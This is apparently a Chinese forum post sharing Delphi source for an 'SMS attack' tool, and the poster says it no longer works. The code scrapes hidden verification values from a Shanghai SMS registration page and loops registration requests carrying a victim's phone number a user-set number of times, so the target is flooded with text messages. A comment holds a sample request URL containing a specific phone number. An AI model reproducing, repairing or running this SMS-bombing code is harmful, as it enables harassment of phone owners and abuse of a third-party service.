原来找到一个站点的漏洞,可以进行手机短信攻击的 代码,
现在不能用了,你看看代码吧!
unit UFrmSMSSender;
interface
uses
SysUtils, Variants, Classes, Graphics, Forms, OleCtrls,
SHDocVw, NMHttp, StrUtils, Controls, StdCtrls, ComCtrls;
type
TAttackMSG = record
SysNumber1: string;
SysNumber2: string;
end;
type
TFrmSMSSender = class(TForm)
Label1: TLabel;
EdtPhone: TEdit;
Label2: TLabel;
EdtNum: TEdit;
BtnSend: TButton;
BtnClose: TButton;
SbShow: TStatusBar;
procedure BtnCloseClick(Sender: TObject);
procedure BtnSendClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
sAttackMsg: TAttackMSG;
// 设置攻击对象的属性
procedure SetAttackRecord;
// 发送短信息
procedure SendSMS(HTTPMsg: string);
public
end;
var
FrmSMSSender: TFrmSMSSender;
implementation
{$R *.dfm}
procedure TFrmSMSSender.SetAttackRecord;
var
sString, sEndString: string;
iPos, ipos1: Integer;
NMHTTP1: TNMHTTP;
begin
NMHTTP1 := TNMHTTP.Create(nil);
NMHTTP1.Get('http://sms.online.sh.cn/reg_new/reg2_1.jsp');
sString := Trim(NMHTTP1.Body);
iPos := Pos('<input type="hidden" name="recheckvalidnum" value="', sString);
if iPos <> 0 then
begin
sEndString := Copy(sString, 0, iPos + 3 +
Length('<input type="hidden" name="recheckvalidnum" value="'));
sAttackMsg.SysNumber1 := RightStr(sEndString, 4);
end;
iPos1 := Pos('<input type="hidden" name="recheckvalidnum1" value="', sString);
if iPos1 <> 0 then
begin
sEndString := Copy(sString, 0, iPos1 + 6 +
Length('<input type="hidden" name="recheckvalidnum" value="'));
sAttackMsg.SysNumber2 := RightStr(sEndString, 6);
end;
NMHTTP1.Close(0);
FreeAndNil(NMHTTP1);
end;
procedure TFrmSMSSender.BtnCloseClick(Sender: TObject);
begin
Close;
end;
procedure StrIsNum(ErrorMsg, sStr: string);
begin
try
StrToInt64(sStr);
except
raise Exception.Create(ErrorMsg + '请输入一个数字值');
end;
end;
procedure TFrmSMSSender.BtnSendClick(Sender: TObject);
var
I, iSendNum: Integer;
sStr: string;
begin {
StrIsNum('手机号码必须为整数,', Trim(EdtPhone.Text));
StrIsNum('攻击次数必须为整数,', Trim(EdtNum.Text));
iSendNum := 0;
for I := 1 to StrToInt(EdtNum.Text) do
begin
SetAttackRecord;
SendSMS(
'http://sms.online.sh.cn/reg_new/reg2_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=22&image.y=13'
);
Inc(iSendNum);
SbShow.Panels[0].Text := '已经发送: ' + IntToStr(iSendNum) + '条';
end;
}
StrIsNum('手机号码必须为整数,', Trim(EdtPhone.Text));
StrIsNum('攻击次数必须为整数,', Trim(EdtNum.Text));
iSendNum := 0;
for I := 1 to StrToInt(EdtNum.Text) do
begin
SetAttackRecord;
{
http://sms.online.sh.cn/reg_new/reg4_1.jsp?
mobilenum2=13529342700&validnum=5480&mobiletype2=1&recheckvalidnum=5480
&recheckvalidnum1=4997760&regist=regist&image.x=45&image.y=10
}
sStr := 'http://sms.online.sh.cn/reg_new/reg4_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=45&image.y=10';
SendSMS(
'http://sms.online.sh.cn/reg_new/reg4_1.jsp?' +
'mobilenum2=' + Trim(EdtPhone.Text) +
'&validnum=' + sAttackMsg.SysNumber1 + '&mobiletype2=1' +
'&recheckvalidnum=' + sAttackMsg.SysNumber1 + '&recheckvalidnum1=' +
sAttackMsg.SysNumber2 + '&regist=regist&image.x=45&image.y=10'
);
Inc(iSendNum);
SbShow.Panels[0].Text := '已经发送: ' + IntToStr(iSendNum) + '条';
end;
end;
procedure TFrmSMSSender.SendSMS(HTTPMsg: string);
begin
with TWebBrowser.Create(Self) do
Navigate(HTTPMsg);
end;
procedure TFrmSMSSender.FormDestroy(Sender: TObject);
begin
while (Self.FindComponent('TWebBrowser') <> nil) do
Self.FindComponent('TWebBrowser').Free;
end;
end.